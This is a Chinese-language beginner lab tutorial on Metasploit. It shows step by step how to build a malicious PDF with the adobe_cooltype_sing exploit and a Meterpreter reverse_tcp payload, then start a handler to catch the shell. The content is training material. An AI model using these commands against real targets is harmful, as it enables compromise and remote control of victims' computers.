创建用于客户端攻击的恶意 PDF 文件

Kali LinuxBeginner
立即练习

引言

在本实验中,你将使用 Metasploit Framework 创建一个恶意的 PDF 文件,深入了解客户端攻击。客户端攻击针对用户计算机上的应用程序漏洞,例如网页浏览器、媒体播放器或文档查看器。

PDF 文件是这些攻击的常见载体,因为它们被广泛使用且用户通常信任它们。通过将恶意代码(payload)嵌入看似无害的 PDF 中,攻击者可以在易受攻击的 PDF 阅读器打开文件时,获得对受害者系统的控制权。

你将学习如何选择特定的 exploit,使用 payload 配置它,生成恶意文件,并设置一个 listener 来处理来自受损系统的连接。本实验提供了对这类攻击如何构建的基础理解。

选择 exploit/windows/fileformat/adobe_cooltype_sing 模块

在此步骤中,你将启动 Metasploit Framework 控制台并选择用于创建恶意 PDF 的相应 exploit 模块。Metasploit Framework 是一个强大的渗透测试工具,其控制台 msfconsole 是与之交互的主要界面。

首先,打开一个终端并启动 Metasploit 控制台。这可能需要一些时间来初始化。

msfconsole -q

-q 标志会抑制 banner,以便更快地启动。加载完成后,你将看到 msf6 > 提示符。

我们将使用一个针对 Adobe Reader 中已知漏洞的 exploit。该模块名为 exploit/windows/fileformat/adobe_cooltype_sing。使用 use 命令加载此模块。

use exploit/windows/fileformat/adobe_cooltype_sing

执行命令后,你将注意到命令提示符已更改,以反映当前加载的模块。

msf6 > use exploit/windows/fileformat/adobe_cooltype_sing
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(windows/fileformat/adobe_cooltype_sing) >

这确认了该模块现在已激活并准备好进行配置。

为输出的 PDF 设置 FILENAME 选项

在此步骤中,你将配置所选 exploit 模块的选项。每个模块都有一组可以自定义的选项。要查看当前模块的可用选项,请使用 show options 命令。

show options

此命令将显示一个可设置的参数表,例如输出文件的文件名和 payload 设置。

Module options (exploit/windows/fileformat/adobe_cooltype_sing):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.pdf          yes       The file name.
   ...

Payload options (generic/shell_reverse_tcp):
...

我们需要设置 FILENAME 选项来指定我们恶意 PDF 文件的名称。我们将它命名为 malicious.pdf。使用 set 命令来分配此值。

set FILENAME malicious.pdf

你可以再次运行 show options 来验证 FILENAME 是否已成功更新。

FILENAME  malicious.pdf    yes       The file name.

配置带有 LHOST 和 LPORT 的 reverse_tcp payload

在此步骤中,你将配置 payload。Payload 是在 exploit 成功后将在目标系统上执行的代码。我们将使用 reverse_tcp payload,它会强制受害者机器连接回我们的机器。

首先,将 payload 设置为 windows/meterpreter/reverse_tcp。Meterpreter 是一个高级的、动态可扩展的 payload,它提供了比标准 shell 更多的功能。

set payload windows/meterpreter/reverse_tcp

接下来,我们需要配置 payload 的选项:LHOSTLPORT

  • LHOST: 这是“监听主机”(Listening Host),即你的机器的 IP 地址。受害者机器将连接回此 IP。
  • LPORT: 这是“监听端口”(Listening Port),是你机器上将监听连接的端口。

要查找你的机器的 IP 地址,你可以打开一个新的终端标签页并运行 ip a 命令。查找与 eth0 接口关联的 IP 地址。

ip a

现在,将 LHOST 设置为你的 IP 地址(将 YOUR_IP_ADDRESS 替换为实际 IP),并将 LPORT 设置为一个常用端口,例如 4444

set LHOST YOUR_IP_ADDRESS
set LPORT 4444

再运行一次 show options 来确认所有设置是否正确。你应该能看到你已配置的 FILENAMEPAYLOADLHOSTLPORT

生成恶意 PDF 文件

在此步骤中,所有选项都已配置完毕,你已准备好生成恶意 PDF 文件。exploit 命令(或其别名 run)会将 exploit 和 payload 组装成最终文件。

在你的 msfconsole 窗口中执行 exploit 命令。

exploit

Metasploit 现在将创建 PDF 文件。输出将显示该过程,最重要的是,文件已保存在何处。

[*] Creating 'malicious.pdf' file...
[+] malicious.pdf stored at /home/labex/.msf4/local/malicious.pdf

文件现已创建。在实际场景中,攻击者会将此文件发送给目标,例如作为电子邮件附件。你可以使用新终端中的 ls 命令来验证其是否存在。

ls -l /home/labex/.msf4/local/malicious.pdf
-rw-r--r-- 1 labex labex 12345 Date Time /home/labex/.msf4/local/malicious.pdf

在 msfconsole 中设置 handler 以接收 shell

在此步骤中,你将设置一个监听器(也称为 handler),用于在恶意 PDF 被打开时“接收”来自受害者机器的传入连接。如果没有 handler,payload 将无处连接。

我们将使用 exploit/multi/handler 模块,这是一个通用的监听器。

use exploit/multi/handler

现在,你必须使用与嵌入 PDF 文件中完全相同的 payload 和选项(LHOSTLPORT)来配置此 handler。这对于连接成功至关重要。

set payload windows/meterpreter/reverse_tcp
set LHOST YOUR_IP_ADDRESS
set LPORT 4444

请记住再次将 YOUR_IP_ADDRESS 替换为你的机器的 IP 地址。

配置好 handler 后,使用 exploit -j 命令运行它。-j 标志会将 handler 作为后台作业运行,这样在监听器激活时,你的 msfconsole 提示符仍然可用以执行其他命令。

exploit -j

你将看到一个 handler 已启动的确认信息。

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on YOUR_IP_ADDRESS:4444

handler 现在正在监听连接。在此实验中,我们不会模拟受害者打开文件,但你的设置已完成。你已成功创建了一个恶意文件,并准备了一个监听器来处理反向 shell。

总结

在此实验中,你已成功完成了使用 Metasploit Framework 为客户端攻击创建恶意 PDF 的基本步骤。

你学会了如何:

  • 启动 Metasploit 控制台并选择合适的 exploit 模块。
  • 配置 exploit 选项,例如输出文件名。
  • 选择并配置一个 payload(windows/meterpreter/reverse_tcp),包含必要的 LHOSTLPORT 参数。
  • 生成最终的恶意 PDF 文件。
  • 设置并运行一个 handler(exploit/multi/handler)来监听并接收来自受损系统的传入连接。

本次练习提供了对常见攻击向量背后机制的实践理解,并强调了保持软件(尤其是文档阅读器)更新以防范此类漏洞的重要性。